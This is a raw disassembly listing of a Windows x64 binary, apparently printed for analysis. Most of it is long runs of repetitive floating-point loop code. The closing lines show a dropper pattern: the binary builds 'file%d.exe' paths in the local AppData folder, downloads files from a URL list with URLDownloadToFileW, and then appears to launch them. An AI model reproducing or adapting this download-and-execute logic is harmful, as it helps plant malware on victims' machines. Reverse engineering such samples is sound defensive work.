movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a50e
mov qword [rsp + 0x188], 0
jmp 0x14000a5cd
mov rax, qword [rsp + 0x188]
inc rax
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x188], rax
jae 0x14000a658
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34d8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x188]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34d8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a5ba
mov qword [rsp + 0x190], 0
jmp 0x14000a679
mov rax, qword [rsp + 0x190]
inc rax
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x190], rax
jae 0x14000a704
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34e0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x190]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a666
mov qword [rsp + 0x198], 0
jmp 0x14000a725
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x198], rax
jae 0x14000a7b0
mov rdx, qword [rsp + 0x198]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34e8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x198]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a712
mov qword [rsp + 0x1a0], 0
jmp 0x14000a7d1
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1a0], rax
jae 0x14000a85c
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34f0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1a0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a7be
mov qword [rsp + 0x1a8], 0
jmp 0x14000a87d
mov rax, qword [rsp + 0x1a8]
inc rax
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1a8], rax
jae 0x14000a908
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x34f8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1a8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x34f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a86a
mov qword [rsp + 0x1b0], 0
jmp 0x14000a929
mov rax, qword [rsp + 0x1b0]
inc rax
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1b0], rax
jae 0x14000a9b4
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3500], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1b0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3500]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a916
mov qword [rsp + 0x1b8], 0
jmp 0x14000a9d5
mov rax, qword [rsp + 0x1b8]
inc rax
mov qword [rsp + 0x1b8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1b8], rax
jae 0x14000aa60
mov rdx, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3508], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1b8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3508]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000a9c2
mov qword [rsp + 0x1c0], 0
jmp 0x14000aa81
mov rax, qword [rsp + 0x1c0]
inc rax
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1c0], rax
jae 0x14000ab0c
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3510], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1c0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3510]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000aa6e
mov qword [rsp + 0x1c8], 0
jmp 0x14000ab2d
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1c8], rax
jae 0x14000abb8
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3518], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1c8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3518]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000ab1a
mov qword [rsp + 0x1d0], 0
jmp 0x14000abd9
mov rax, qword [rsp + 0x1d0]
inc rax
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1d0], rax
jae 0x14000ac64
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3520], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1d0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3520]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000abc6
mov qword [rsp + 0x1d8], 0
jmp 0x14000ac85
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1d8], rax
jae 0x14000ad10
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3528], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1d8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3528]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000ac72
mov qword [rsp + 0x1e0], 0
jmp 0x14000ad31
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1e0], rax
jae 0x14000adbc
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3530], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1e0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3530]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000ad1e
mov qword [rsp + 0x1e8], 0
jmp 0x14000addd
mov rax, qword [rsp + 0x1e8]
inc rax
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1e8], rax
jae 0x14000ae68
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3538], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1e8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3538]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000adca
mov qword [rsp + 0x1f0], 0
jmp 0x14000ae89
mov rax, qword [rsp + 0x1f0]
inc rax
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1f0], rax
jae 0x14000af14
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3540], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1f0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3540]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000ae76
mov qword [rsp + 0x1f8], 0
jmp 0x14000af35
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x1f8], rax
jae 0x14000afc0
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3548], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x1f8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3548]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000af22
mov qword [rsp + 0x200], 0
jmp 0x14000afe1
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x200], rax
jae 0x14000b06c
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3550], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x200]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3550]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000afce
mov qword [rsp + 0x208], 0
jmp 0x14000b08d
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x208], rax
jae 0x14000b118
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3558], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x208]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3558]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b07a
mov qword [rsp + 0x210], 0
jmp 0x14000b139
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x210], rax
jae 0x14000b1c4
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3560], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x210]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3560]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b126
mov qword [rsp + 0x218], 0
jmp 0x14000b1e5
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x218], rax
jae 0x14000b270
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3568], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x218]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3568]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b1d2
mov qword [rsp + 0x220], 0
jmp 0x14000b291
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x220], rax
jae 0x14000b31c
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3570], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x220]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3570]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b27e
mov qword [rsp + 0x228], 0
jmp 0x14000b33d
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x228], rax
jae 0x14000b3c8
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3578], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x228]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3578]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b32a
mov qword [rsp + 0x230], 0
jmp 0x14000b3e9
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x230], rax
jae 0x14000b474
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3580], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x230]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3580]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b3d6
mov qword [rsp + 0x238], 0
jmp 0x14000b495
mov rax, qword [rsp + 0x238]
inc rax
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x238], rax
jae 0x14000b520
mov rdx, qword [rsp + 0x238]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3588], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x238]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3588]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b482
mov qword [rsp + 0x240], 0
jmp 0x14000b541
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x240], rax
jae 0x14000b5cc
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3590], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x240]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3590]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b52e
mov qword [rsp + 0x248], 0
jmp 0x14000b5ed
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x248], rax
jae 0x14000b678
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x3598], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x248]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x3598]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b5da
mov qword [rsp + 0x250], 0
jmp 0x14000b699
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x250], rax
jae 0x14000b724
mov rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35a0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x250]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b686
mov qword [rsp + 0x258], 0
jmp 0x14000b745
mov rax, qword [rsp + 0x258]
inc rax
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x258], rax
jae 0x14000b7d0
mov rdx, qword [rsp + 0x258]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35a8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x258]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b732
mov qword [rsp + 0x260], 0
jmp 0x14000b7f1
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x260], rax
jae 0x14000b87c
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35b0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x260]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b7de
mov qword [rsp + 0x268], 0
jmp 0x14000b89d
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x268], rax
jae 0x14000b928
mov rdx, qword [rsp + 0x268]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35b8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x268]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b88a
mov qword [rsp + 0x270], 0
jmp 0x14000b949
mov rax, qword [rsp + 0x270]
inc rax
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x270], rax
jae 0x14000b9d4
mov rdx, qword [rsp + 0x270]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35c0], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x270]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b936
mov qword [rsp + 0x278], 0
jmp 0x14000b9f5
mov rax, qword [rsp + 0x278]
inc rax
mov qword [rsp + 0x278], rax
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x278], rax
jae 0x14000ba80
mov rdx, qword [rsp + 0x278]
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.140061170
movsd qword [rsp + 0x35c8], xmm0
lea rcx, [rsp + 0x58]
call fcn.140054140
sub rax, qword [rsp + 0x278]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d60
movsd xmm0, qword [rax]
call fcn.14005e9d0
movsd xmm1, qword [rsp + 0x35c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000b9e2
mov qword [rsp + 0x280], 0
jmp 0x14000baa1
lea rcx, [rsp + 0x58]
call fcn.140054140
cmp qword [rsp + 0x280], rax
jae 0x14000bb2c
lea rax, [rsp + 0x69e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x14004e064
mov dword [rsp + 0x74], 0
jmp 0x14004df97
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x6c10]
cmp dword [rsp + 0x74], eax
jge 0x14004e064
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x69e0]
lea r8, str._s_file_d.exe
mov edx, 0x104
lea rcx, [rsp + 0x67d0]
call fcn.140054b20
movsxd rax, dword [rsp + 0x74]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x67d0]
mov rcx, qword [rsp + 0x6c08]
mov rdx, qword [rcx + rax*8]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x33d8], eax
cmp dword [rsp + 0x33d8], 0
jl 0x14004e03d
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x67d0]
